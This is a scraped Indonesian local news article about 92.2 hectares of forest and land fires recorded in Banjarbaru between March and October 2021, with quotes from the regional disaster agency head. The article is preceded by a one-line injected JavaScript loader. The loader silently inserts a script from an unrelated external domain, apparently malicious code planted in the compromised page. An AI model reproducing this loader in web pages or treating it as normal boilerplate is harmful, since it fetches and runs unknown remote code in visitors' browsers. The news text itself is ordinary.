(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Badan Penanggulangan Bencana Daerah (BPBD) Banjarbaru mencatat hutan dan lahan seluas 92,2 hektare yang tersebar di wilayah Kota Banjarbaru terbakar sepanjang Maret-Oktober 2021.
Sebaran kebakaran hutan dan lahan (karhutla) terjadi di Kecamatan Cempaka, Landasan Ulin, dan Liang Anggang.
Kepala Pelaksana (Kalaksa) BPBD Kota Banjarbaru, Zaini Syahranie mengatakan Karhutla tahun ini lumayan besar pada tahun sebelumnya.
“Walau pada tahun ini kemarau basah, karhutla yang terjadi di Banjarbaru lumayan besar,” ucapnya.
BPBD Kota Banjarbaru, kata Zaini selalu koordinasi mengenai karhutla dengan BPBD Provinsi Kalimantan Selatan.
Baca juga : Terima Kedatangan Warga di DPRD Kapuas, Ini yang Diminta Warga Desa Manusup
“Kita selalu koordinasi dengan BPBD Provinsi yang selalu memonitoring di Bandara,” ujarnya.
Sementara itu, Zaini menambahkan, BPBD Provinsi menyiapkan 8-10 helikopter untuk penanggulangan karhutla.
Zaini mengungkapkan dirinya terus memberikan himbauan kepada masyarakat dengan memasang spanduk-spanduk di daerah rawan untuk tidak membuang puting rokok ataupun pembakaran yang mengakibatkan kebakaran lahan. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.